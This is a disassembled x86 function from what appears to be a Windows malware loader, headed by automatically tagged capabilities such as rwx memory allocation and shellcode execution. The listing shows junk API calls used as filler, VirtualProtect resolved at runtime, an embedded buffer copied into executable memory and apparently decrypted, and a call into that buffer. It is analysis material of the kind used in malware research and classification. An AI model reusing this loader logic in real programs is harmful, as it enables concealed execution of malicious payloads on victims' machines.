Function at 0x401a58
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Read file on windows
Set environment variable

Disassembly:
mov eax, 0x42683a
call fcn.00426600
sub esp, 0x4dc
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
xor ebx, ebx
call edi
cmp ebx, 0x207142
jg 0x401a88
inc ebx
cmp ebx, 0x67d12
jl 0x401a75
cmp dword [0x244b474], 0x93
jne 0x401b63
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push str.jixepeducane
lea ecx, [ebp - 0x40]
call fcn.00401e13
push esi
push esi
push esi
push esi
mov dword [ebp - 4], esi
call fcn.00404a4d
push esi
push esi
call fcn.004047a8
add esp, 0x18
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x18], str.bad_exception
call fcn.0040415f
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], vtable.std::bad_exception.0
call fcn.004041bb
push esi
push esi
call fcn.004040c0
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.00402115
lea ecx, [ebp - 0x88]
call fcn.004021b1
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x88], vtable.std::ios_base.0
call fcn.004031d7
or dword [ebp - 4], 0xffffffff
pop ecx
push esi
push 1
lea ecx, [ebp - 0x40]
call fcn.004028e6
mov eax, dword [0x42db58]
add dword [0x244b474], 0x1134b
push str.kernel32.dll
mov dword [0x244c2b0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x244af04], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x244b474]
mov dword [0x244aef8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x244b474]
mov dword [0x244af00], eax
push eax
call dword [0x244aef8]
mov ebx, 0x1692e
push esi
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
call edi
dec ebx
jne 0x401bc2
xor edi, edi
cmp dword [0x244b474], esi
jbe 0x401c3b
mov eax, dword [0x244c2b0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x244af00]
mov byte [ecx + edi], al
cmp dword [0x244b474], 0x490
jne 0x401c32
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x18]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x244b474]
jb 0x401be5
xor edi, edi
mov eax, dword [0x244b474]
add eax, edi
cmp eax, 0x8d
jne 0x401c6b
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push esi
push esi
call dword [sym.imp.USER32.dll_SetMenu]
push str.Mul_nop_golinufarohiwif
push str.Sahikuxuyewa_wagivasixuvocut
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x401c3d
mov eax, dword [0x244b474]
mov ecx, dword [0x244af00]
shr eax, 3
cmp eax, esi
jbe 0x401ca8
mov ebx, ecx
mov edi, eax
cmp dword [0x244b474], 0x959
jne 0x401c9d
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call fcn.00401670
add ebx, 8
dec edi
jne 0x401c8a
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x61
jne 0x401cc9
mov dword [ebp - 0x14], esi
add dword [ebp - 0x14], 0x3f17
mov eax, dword [ebp - 0x14]
add dword [0x244af00], eax
inc edi
cmp edi, 0x674bd
jl 0x401caa
push 0x7b
pop edi
cmp dword [0x244b474], 0x86
jne 0x401cff
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeReadPtr]
dec edi
jne 0x401cd5
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x244af00]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret